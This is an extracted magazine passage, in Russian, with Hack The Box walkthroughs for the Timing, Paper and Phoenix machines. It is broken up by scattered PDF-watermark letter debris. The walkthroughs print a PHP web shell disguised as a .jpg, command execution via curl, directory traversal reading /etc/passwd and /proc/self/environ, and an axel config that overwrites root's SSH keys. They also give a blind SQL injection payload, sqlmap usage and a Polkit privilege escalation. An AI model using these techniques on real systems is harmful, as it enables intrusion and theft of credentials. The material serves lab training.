Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
14.52 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ПЕНТЕСТИМ ВЕБ-СЕРВЕР НА PHP

Видим­ , что в обработ­ чике­ на один параметр больше­ , чем отправляет­ ся­ через форму­ . Значит­ , мы можем добавить role и задать любую роль. Это должно­ дать нам привиле­ гиро­ ван­ ный­ контекст­ .

Новый­ запрос­

Ответ­ сервера­

В итоге­ мы получаем­ ответ со всеми­ перечисленны­ ми­ параметрами­ , а на самой странице­ появляет­ ся­ ссылка­ на панель админис­ тра­ тора­ .

Главная­ страница­ админис­ тра­ тора­

ТОЧКА ОПОРЫ

С панели админис­ ­тра­тора нам открывает­ ­ся функция­ загрузки­ аватара­ .

Форма­ загрузки­ файла­

Мы знаем­ , что это должен­ быть файл с расширени­ ем­ jpg. Но вот только­ его содержимое­ не проверя­ ется­ , поэтому­ мы можем записать туда код на PHP и затем попробовать­ выполнить­ . Запишем следующий­ простой­ PHP-шелл, выполняющий­ принятую­ команду­ , и загрузим­ файл на сервер­ .

echo '<?php echo system($_GET["cmd"]);?>' > test.jpg0

Сообще­ ние­ о загрузке­ файла­

Файл успешно загружен­ , теперь определим­ ся­ с именем­ , под которым он сох ­ ранился­ на сервере­ . Для этого­ вспомним­ принцип­ , по которому­ он формиру­ ­ ется.

Код формирова­ ния­ имени­ загружен­ ного­ файла­

Единствен­ ­ная переменная­ , которую нам осталось­ получить, — значение­ фун ­ кции time(). Эта функция­ возвра­ ­щает количество­ секунд, прошед­ ­ших с 00:00:00 01.01.1970. И если мы знаем­ время­ загрузки­ файла­ , установ­ ­ ленное на сервере­ , мы сможем­ получить это значение­ . Так как вся работа выполняет­ ­ся через Burp, в истории­ запросов­ найдем­ HTTP-заголовок­ ответа­ сервера­ . В заголовке­ Date будет указано­ нужное­ нам время­ .

HTTP-заголовок­ ответа­ сервера­ при загрузке­ файла­

Теперь­ мы можем получить значение­ MD5 от сложения­ всех строк:

echo md5('$file_hash' . strtotime("Wed, 05 Jan 2022 13:19:51 GMT"));

Расчет­ первой­ части­ имени­ файла­ Нам нужно­ обращать­ ­ся к файлу­ вот с таким именем­ :

e3879d6c6425db4ad6e139681d11693d_test.jpg0

Попробу­ ем­ с помощью нашего хеша выполнить­ базовую команду­ id.

curl 'http://timing.htb/image.php?img=images/uploads/

e3879d6c6425db4ad6e139681d11693d_test.jpg&cmd=id'

Выпол­ нение­ команды­ id

Коман­ да­ успешно выполнена­ , что означает­ получение­ доступа­ к хосту­ .

ПРОДВИЖЕНИЕ

Для дальнейше­ ­го продвижения­ нам необходимо­ найти­ учетные­ данные­ . Для этого­ предсто­ ­ит изучить­ файлы­ в каталоге­ веб сервера­ , всевоз­ ­можные резервные­ копии и другие­ пользователь­ ­ские файлы­ . Так находим бэкапы исходников­ в каталоге­ /opt.

Содер­ жимое­ каталога­ /opt

Копиру­ ем­ архив в каталог веб сервера­ и легко­ скачива­ ем­ через браузер­ .

curl 'http://timing.htb/image.php?img=images/uploads/

e3879d6c6425db4ad6e139681d11693d_test.jpg&cmd=cp+/opt/

source-files-backup.zip+./'

Скачива­ ние­ исходных кодов через браузер­

В архиве­ присутс­ тву­ ет­ каталог с расширени­ ем­ git. Это позволит­ нам получить доступ­ к истории­ изменений­ файлов­ .

Содер­ жимое­ архива­

Для удобной­ работы с репозитори­ ями­ Git можно­ использовать­ графичес­ кий­ просмот­ рщик­ gitk. Он помог найти­ изменение­ пароля для подклю­ чения­ к базе данных­ .

Изменение­ в файле­ db_conn.php

А вот уже с этим паролем удается­ подклю­ чить­ ся­ по SSH и забрать­ первый­ флаг.

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Первым­ делом проверя­ ­ем наиболее­ вероятные­ места­ повышения­ привиле­ ­ гий: настрой­ ­ки sudoers, приложе­ ­ния с выставлен­ ­ным битом SUID, прос ­ лушиваемые­ на локалхосте­ порты­ . Проверим­ sudoers командой­ sudo -l.

Настрой­ ки­ судоера­

В настрой­ ­ках прописан­ привиле­ ­гиро­ван­ный запуск /usr/bin/netutils без ввода­ пароля (NOPASSWD). Просмотрим­ тип файла­ .

Определе­ ние­ типа файла­ /usr/bin/netutils

Это обычный­ скрипт. Давай глянем­ на его содержимое­ .

Содер­ ­жимое файла­ /usr/bin/netutils

Это пользователь­ ­ское приложе­ ­ние на Java. Но так как оно расположе­ ­но в каталоге­ рута, мы не можем получить доступ­ к самому файлу­ и деком ­ пилировать­ его, чтобы­ изучить­ . Тогда­ давай хотя бы запустим­ программу­ и посмотрим­ , как она работает­ .

Меню­ приложе­ ния­

Нам предлага­ ют­ выбрать­ одну из опций: FTP или HTTP. После­ чего с указан­ ­ ного ресурса­ загружа­ ется­ файл.

Сообще­ ние­ о загрузке­ файла­

Посмотрим­ , что происхо­ дит­ с процес­ сами­ в системе­ при выполнении­ этого­ приложе­ ния­ . Для отслежива­ ния­ процес­ сов­ будем использовать­ pspy64. Заг ­ рузим его на хост:

scp ./pspy64 aaron@timing.htb:/tmp/0

И выполним­ . В выводе видим запуск скрипта­ , но, что более интерес­ ­но, после­ указания­ адреса­ для загрузки­ использует­ ­ся программа­ axel в контек­ ­сте пользовате­ ­ля с UID=0, а это пользователь­ root.

Логи­ pspy

Я сразу­ попробовал­ выполнить­ инъекцию­ команды­ ОС, но это ничего не дало.

Тестирова­ ние­ OS Command Injection

Однако­ мы можем конфигури­ ровать­ axel и управлять некоторыми­ его параметрами­ , к примеру­ именем­ файла­ и каталогом­ для его сохранения­ . Недолго­ размышляя­ , пробуем­ сохранить­ файл как публичный­ SSH-ключ поль ­ зователя­ root. Для этого­ в домашнем­ каталоге­ текущего­ пользовате­ ля­ сох ­ раним файл .axelrc со следующим­ содержимым­ :

default_filename = /root/.ssh/authorized_keys0

Файл конфигура­ ций­ axel

На локальном­ хосте­ сгенери­ руем­ пару ключей­ (ssh-keygen) и переиме­ нуем­ публичный­ , чтобы­ он назывался­ index.html. Запустим­ простой­ веб сервер­ на Python:

python3 -m http.server 800

А затем обратим­ ся­ к нему из тестиру­ емо­ го­ приложе­ ния­ .

Запись­ SSH-ключа­

Видим­ сообщение­ с именем­ сохранен­ ного­ файла­ , пробуем­ подклю­ чить­ ся­ с закрытым­ ключом­ и получаем­ контроль­ над хостом­ .

Флаг рута

Машина­ захвачена­ , и у нас есть флаг рута.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПЕНТЕСТИМ WORDPRESS

И ЭКСПЛУАТИРУЕМ БАГ В POLKIT

В сегодняшнем­ райтапе­ мы проэкс­ ­плу­ати ­ руем уязвимос­ ­ти в популярной­ CMS WordPress, корпоратив­ ­ном мессен­ ­дже­ре RocketChat, а также­ разберем­ одну из самых нашумевших­ уязвимос­ ­тей — Polkit LPE. Все это в рамках­ легкой­ машины Paper

с площад­ ­ки Hack The Box.

RalfHacker hackerralf8@gmail.com

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.143 paper.htb

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ .

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Скрипт нашел три открытых­ порта­ : 22 — служба­ OpenSSH 8.0, 80 и 443 — веб сервер­ Apache 2.4.37. Обычно­ в SSL-сертифика­ те­ можно­ подсмот­ реть­ новые доменные­ имена­ в поле commonName, но не в этот раз.

Главная­ страница­ сайта­

ТОЧКА ВХОДА

При пентесте­ веб сервисов­ лучше­ всего­ работать в Burp. Полезно­ , к при ­ меру, что в Burp History можно­ будет просмотреть­ всю цепочку­ пользователь­ ­ ских запросов­ и ответов­ сервера­ . Так, в HTTP-заголовке­ X-Backend-Server находим еще один домен — office.paper.

Запросы­ в Burp History

Тоже­ добавляем­ его в /etc/hosts.

10.10.11.143 paper.htb office.paper

И на этом домене находим новый сайт.

Главная­ страница­ ofce.paper

И снова­ Burp History нам помогает­ — по страницам­ , к которым обращает­ ся­ наш клиент­ , мы определя­ ем­ , что на машине установ­ лен­ WordPress.

Запросы­ в Burp History

ТОЧКА ОПОРЫ

WordPress

На сайте­ несколь­ ­ко статей­ с коммента­ ­риями, которые мы можем прочитать­ . И один из комменти­ ­рующих указыва­ ­ет, что в черновиках­ лежат какие то сек ­ ретные данные­ .

Коммента­ рий­ с сайта­

Посколь­ ­ку мы столкну­ ­лись с WordPress, можем восполь­ ­зовать­ся специаль­ ­ ными утилита­ ­ми для работы с ней. В первую­ очередь­ нам понадобит­ ­ся WPScan — сканер­ , который автомати­ ­чес­ки ищет уязвимос­ ­ти в WordPress и установ­ ­ленных плагинах­ .

Переда­ ­дим сканеру­ следующие­ параметры­ :

--url — URL;

-e ap — поиск установ­ ­ленных плагинов­ ;

--plugins-detection — способ­ определе­ ­ния плагина­ . Aggressive — грубое­ сканиро­ ­вание перебором­ ;

-t — количество­ потоков;

--api-token — полученный­ с официаль­ ­ного сайта­ API-ключ.

wpscan --url http://office.paper -e ap --plugins-detection

aggressive -t 256 --api-token [...KEY...]0

 

 

 

Обнаружен­

ные­

уязвимос­

ти­ WordPress

 

 

 

 

 

 

 

 

 

И мы находим уязвимость­

,

которая позволя­

ет­ читать приват­ ные­

посты­ .

По предос­ тавлен­

ной­ утилитой­

ссылке­ мы получим инструк­ цию­ , как эксплу­ ати­ ­

ровать уязвимость­

.

 

 

 

 

 

 

 

 

Описание­ обнаружен­ ­ной уязвимос­ ­ти

Перехо­ дим­ к странице­ /?static=1, и нам становит­ ­ся доступным­ скрытый­ пост.

Содер­ жимое­ скрытого­ поста­

Находим­ ссылку­ на еще один домен. Добавим его в /etc/hosts и прос мотрим в браузе­ ­ре.

10.10.11.143 paper.htb office.paper chat.office.paper

Панель­ регистра­ ции­ Rocket.Chat

Так мы получаем­ доступ­ к панели регистра­ ции­ в Rocket.Chat!

Rocket.Chat

Rocket.Chat — это полностью­ настра­ ­иваемый мессен­ ­джер на JavaScript c открытым­ исходным кодом. Так как мы получили­ доступ­ к странице­ регистра­ ­ ции, то создадим­ себе аккаунт­ и авторизу­ ­емся.

Главная­ панель Rocket.Chat

Но мы получаем­ пустой­ мессен­ джер­ , поэтому­ идея узнать приват­ ные­ данные­ из переписок­ сразу­ отпала­ . Однако­ спустя­ минуту приходит­ сообщение­ от бота!

Входящие­ сообщения­ Rocket.Chat

В расска­ зе­ о себе и своих­ функци­ ях­ бот упомина­ ет­ возможность­ прочитать­ файл из хранили­ ща­ .

 

 

 

Возможнос­

ти­ бота

 

 

 

 

 

 

 

 

 

Пытаем­

ся­ получить вымышленный­

файл, и бот выдает­ нам полный­

путь

к предполага­

емо­ му­ файлу­ . И это обычный­ системный­

каталог.

 

recyclops file test.txt0

Ошибка­ чтения­ файла­

Так как бот просто­ пытается­ прочитать­ файл на диске­ , мы можем попробовать­ проэкс­ плу­ ати­ ровать­ уязвимость­ обхода­ каталога­ и прочитать­ любой другой­ файл на сервере­ , к примеру­ /etc/passwd.

recyclops file ../../../../../../etc/passwd0

Содер­ жимое­ файла­ /etc/passwd

И мы получаем­ содержимое­ указан­ ного­ файла­ ! В подобных­ случаях­ мы уже должны­ знать, какие файлы­ в системе­ наиболее­ интерес­ ны­ . Первым­ делом я попытался­ прочитать­ приват­ ный­ ключ SSH пользовате­ ля­ dwight.

recyclops file ../../../../../../home/dwight/.ssh/id_rsa0

Ошибка­ чтения­ файлов­

Такого­ файла­ в системе­ нет, но зато нам повезло­ с файлом­ , содержащим­ переменные­ среды­ выполнения­ (окружения­ ) процес­ са­ .

recyclops file ../../../../../../proc/self/environ0

Содер­ жимое­ файла­ /proc/self/environ

Среди­ переменных­ окружения­ есть логин и пароль, который также­ подходит­ для службы­ SSH. Логинимся­ и забираем­ флаг пользовате­ ля­ .

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Пути­ для дальнейше­ ­го продвижения­ поищем при помощи PEASS.

Что делать после­ того, как мы получили­ доступ­ в систему­ от имени­ поль ­ зователя­ ? Вариантов­ дальнейшей­ эксплу­ ата­ ции­ и повышения­ привиле­ гий­ может быть очень много­ , как в Linux, так и в Windows. Чтобы­ собрать­ информацию­ и наметить цели, можно­ использовать­ Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов­ , которые проверя­ ют­ сис ­

тему на автомате­ .

Загружа­ ем­ на хост это чудесное­ средство­ и выполняем­ . И сразу­ же нам сооб ­ щают об автомати­ чес­ ки­ найден­ ной­ уязвимос­ ти­ CVE-2021-3560.

Вывод­ LinPEAS

Экспло­ ­итов на GitHub много­ , для их поиска­ достаточ­ ­но просто­ указать­ номер

CVE.

Поиск­ экспло­ итов­ в Google

Для понимания­ уязвимос­ ти­ нужно­ знать, что такое Polkit. Polkit (PolicyKit) — библиоте­ ка­ для UNIX-подобных­ операци­ онных­ систем­ , позволя­ ет­ предос­ ­ тавить непривиле­ гиро­ ван­ ным­ процес­ сам­ возможность­ выполнять­ привиле­ ­ гирован­ ные­ операции­ . Polkit можно­ использовать­ вместо­ sudo, но в отличие­

от sudo Polkit не наделяет­ процесс­ пользовате­ ля­ повышенными­ правами­ , а позволя­ ет­ точно­ контро­ лиро­ вать­ , что разрешено­ , а что запрещено­ . Эта библиоте­ ка­ использует­ ся­ утилитой­ systemd, а значит­ , и установ­ лена­ по умол ­ чанию во многих­ дистри­ бути­ вах­ Linux.

Суть уязвимос­ ­ти в том, что Polkit можно­ заставить­ обходить­ провер­ ­ки учет ­ ных данных­ для запросов­ D-Bus, повышая привиле­ ­гии до пользовате­ ­ля root. Эту уязвимость­ можно­ эксплу­ ­ати­ровать от имени­ локального­ пользовате­ ­ля, например­ создать­ нового привиле­ ­гиро­ван­ного пользовате­ ­ля. Но чтобы­ понять архитек­ ­туру уязвимос­ ­ти, нужно­ разобрать­ связь между­ Polkit и D-Bus.

Как работает Polkit

Как создает­ ­ся новый пользователь­ через Polkit, изображено­ на схеме­ ниже. Два процес­ ­са над пунктир­ ­ной линией­ работают­ в непривиле­ ­гиро­ван­ном режиме.

Схема­ взаимо­ дей­ ствия­ D-Bus и Polkit

1.Процесс­ dbus-send дает сигнал­ о создании­ нового пользовате­ ­ля про ­

цессу­ accounts-daemon.

2. Процесс­ accounts-daemon получает­ сигнал­ через dbus-daemon. При этом dbus-daemon прикрепит­ к сигналу­ имя шины.

3.В свою очередь­ , account-daemon запрашива­ ­ет у polkit, разрешено­ ли соединение­ c данной­ шиной для создания­ нового пользовате­ ­ля.

4.Для определе­ ­ния polkit запрашива­ ­ет у dbus-daemon UID для коннекта­ .

5.Если­ UID равен 0 (root), polkit авторизу­ ­ет запрос­ . Иначе­ polkit отправ ­ ляет агенту­ аутентифика­ ­ции список­ пользовате­ ­лей, которым разрешено­ авторизо­ ­вать запрос­ .

6.Агент аутентифика­ ­ции отобразит­ пользовате­ ­лю диалоговое­ окно для вво ­ да пароля, который потом отправит­ polkit.

7. Если­ polkit все же авторизу­

ет­ этот запрос­ , он отправит­

сигнал­

к accounts-daemon, а тот уже создаст­

нового пользовате­

ля­ .

 

Уязвимость в схеме работы Polkit

Уязвимость­ находится­ на четвертом­ этапе­ последова­ ­тель­нос­ти. Когда­ Polkit запрашива­ ­ет у dbus-daemon UID коннекта­ , а этого­ коннекта­ больше­ не сущес ­ твует­ , dbus-daemon правиль­ ­но обрабаты­ ­вает эту ситуацию­ и возвра­ ­щает ошибку­ . Но оказалось­ , что Polkit неправиль­ ­но ее обрабаты­ ­вает! Вместо­ того чтобы­ отклонить­ запрос­ , Polkit поступа­ ­ет так, как если бы он исходил­ от про ­ цесса­ с UID, равным­ 0, то есть немедленно­ авторизу­ ­ет.

Эксплуатация уязвимости Polkit

Таким­ образом­ , нам нужно­ запустить­ dbus-send и уничтожить­ его, пока Polkit все еще обрабаты­ ­вает запрос­ . Но оказалось­ , что Polkit запрашива­ ­ет у dbusdaemon UID процес­ ­са несколь­ ­ко раз по разным­ путям. Большинс­ ­тво из этих путей правиль­ ­но обрабаты­ ­вают ошибку­ , но один из них — нет! Если убить dbus-send досрочно­ , то команда­ будет обработа­ ­на одним из «правиль­ ­ных» путей и запрос­ будет отклонен­ . Чтобы­ активиро­ ­вать уязвимый­ путь, надо завершить­ процесс­ в нужный­ момент. Поэтому­ последова­ ­тель­ность действий­ требует­ ­ся выполнить­ несколь­ ­ко раз.

Все это уже реализова­ но­ в коде­ экспло­ ита­ . Нужно­ лишь запустить­ файл и дождать­ ся­ привиле­ гиро­ ван­ ного­ контек­ ста­ .

Мы получаем­ привиле­ ­гии рута и забираем­ флаг.

Флаг рута

Машина­ захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

g

 

 

p

 

 

c

 

 

 

 

 

 

 

df

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

c

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

 

ЛОМАЕМ САЙТ НА WORDPRESS

В ОБХОД WAF

В сегодняшнем­ райтапе­ мы с тобой снова­ попентестим­ WordPress. Проэкс­ плу­ ати­ руем­ SQL-инъекцию­ и узнаем­ учетные­ данные­ , потом получим доступ­ к хосту­ через уяз ­

вимость загрузки­

 

файлов­ , а усложнено­

это все будет работающим­

Web Application

Firewall. Продвинем­

ся­ и повысим привиле­

­

гии, сделав­

туннель­

для

проброса­

SSH

и выполнив­

инъекцию­

в команду­ rsync.

Все это — чтобы­ пройти­ сложную­

машину

Phoenix с площад­ ки­ Hack The Box.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

RalfHacker hackerralf8@gmail.com

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА

Добав­ ­ляем IP виртуал­ ­ки в /etc/hosts:

10.10.11.149 phoenix.htb0

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ .

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Нашли­ три открытых­ порта­ : 22 — служба­ OpenSSH 8.2p1, 80 и 443 — веб сер ­ вер Apache. Nmap отобразил­ для нас поле commonName из сертифика­ та­ на 443-м порте­ , но указан­ ный­ там домен нам уже известен.

Главная­ страница­ сайта­ phoenix.htb

Захожу­ на сайт, и плагин­ Wappalyzer тут же сообщает­ , что использует­ ­ся WordPress. Поэтому­ сразу­ запустим­ сканер­ WPScan с полным­ перебором­ (параметр --plugins-detection) установ­ ­ленных плагинов­ (параметр -e ap) в 256 потоков (параметр -t). Для автомати­ ­чес­кого определе­ ­ния уязвимос­ ­тей можно­ получить на сайте­ API-токен и указать­ его приложе­ ­нию (это бесплат­ ­ но). И чтобы­ нам не вернули­ ошибку­ провер­ ­ки сертифика­ ­та, отказыва­ ­емся от самой провер­ ­ки (--disable-tls-checks).

wpscan --url https://phoenix.htb/ -e ap --plugins-detection

aggressive -t 256 --api-token

KEDNckD8h7Ahn3WzqoSaxy1xa6RuLmx0nCl97cO83Dw --disable-tls-checks

Резуль­ тат­ работы WPScan

Но WPScan, что удивитель­ но­ , ничего не нашел. А вот сайт стал выдавать нам код 403 вместо­ ответов­ .

Ответ­ сайта­

Это явный признак­ того, что тут работает­ Web Application Firewall (WAF).

ТОЧКА ВХОДА

Давай­ снова­ запустим­ WPScan — без агрессивного­ сканиро­ ­вания. По умол ­ чанию он переберет­ самые популярные­ плагины­ .

wpscan --url https://phoenix.htb/ --api-token

KEDNckD8h7Ahn3WzqoSaxy1xa6RuLmx0nCl97cO83Dw --disable-tls-checks

Резуль­ тат­ сканиро­ вания­ WPScan

Мы нашли­ несколь­ ­ко уязвимос­ ­тей в плагине­ Asgaros Forum.

И еще обязатель­ ­но просканиру­ ­ем каталоги­ . Так как каталоги­ в списке­ отсортирова­ ­ны по популярности­ и использует­ ­ся популярная­ CMS, то, скорее­ всего­ , самые важные­ каталоги­ мы найдем­ еще до блокиров­ ­ки. Для сканиро­ ­ вания используем­ легкий­ , но очень быстрый­ ffuf.

ffuf -u https://phoenix.htb/FUZZ -t 256 -w directory_2.3_medium_

lowercase.txt0

Резуль­ тат­ сканиро­ вания­ каталогов­

Присутс­ тву­ ет­ каталог /forum — видимо, это то, что мы искали­ .

Страница­ forum

WPScan не только­ сканиру­ ет­ и определя­ ет­ уязвимость­ , но и предос­ тавля­ ет­ инструк­ цию­ по ее эксплу­ ата­ ции­ . Из уязвимос­ тей­ наиболее­ привлекатель­ на­ SQL-инъекция­ без авториза­ ции­ .

Детали­ уязвимос­ ти­ Asgaros Forum

Для подтвержде­ ния­ уязвимос­ ти­ нужно­ сделать­ всего­ один запрос­ . Обра ­ щаемся­ к странице­ forum через Burp Repeater и добавляем­ параметр

?subscribe_topic=1%20union%20select%201%20and%20sleep(10)0

Если­ уязвимость­ сработа­ ­ет, то сервер­ будет отвечать­ больше­ 10 с. Это под ­

тверждает­ Repeater.

Время­ ответа­ сервера­ в Burp Repeater

Уязвимость­ подтвержде­ на­ , переходим­ к эксплу­ ата­ ции­ .

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

ЛОМАЕМ САЙТ НА WORDPRESS В ОБХОД WAF

ТОЧКА ОПОРЫ

Получение учетных данных WordPress

Это time-based «слепая­ » инъекция­ , то есть мы не получаем­ данные­ из таб ­ лицы в явном виде, а делаем­ вывод на основании­ выполнения­ определен­ ного­ условия­ — в данном­ случае­ времени­ обработ­ ки­ запроса­ . Когда­ встречаешь­ ся­ с инъекци­ ями­ такого типа, удобнее­ всего­ пользовать­ ся­ автомати­ зиро­ ван­ ным­ средством­ эксплу­ ата­ ции­ . Нас в этом случае­ выручит sqlmap.

После­ первого­ запуска­ sqlmap подтвер­ дил­ наличие уязвимос­ ти­ и сфор ­ мировал нагрузку­ . Мы можем сузить круг поиска­ уязвимого­ параметра­ , задав опцию -p. Также­ выставим­ самый тяжелый уровень­ нагрузок­ опцией­ --risk, ну и если у sqlmap будут к нам вопросы­ , пусть выбирает­ самый приори­ тет­ ный­

(опция --batch).

sqlmap --url 'https://phoenix.htb/forum/?subscribe_topic=1' -p

subscribe_topic --risk 3 --batch

Резуль­ ­тат сканиро­ ­вания sqlmap

